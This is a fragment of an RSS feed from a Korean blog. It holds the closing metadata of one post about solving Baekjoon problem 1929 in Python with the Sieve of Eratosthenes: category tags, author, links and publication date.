      <category>Algorithm/백준</category>
      <category>1929</category>
      <category>1929 파이썬</category>
      <category>Algorithm</category>
      <category>PYTHON</category>
      <category>백준</category>
      <category>백준 1929</category>
      <category>알고리즘</category>
      <category>에라토스테네스의 체</category>
      <category>코딩테스트</category>
      <category>파이썬</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/83</guid>
      <comments>https://godturtle.tistory.com/83#entry83comment</comments>
      <pubDate>Fri, 20 Jan 2023 15:41:48 +0900</pubDate>
    </item>
  </channel>
</rss>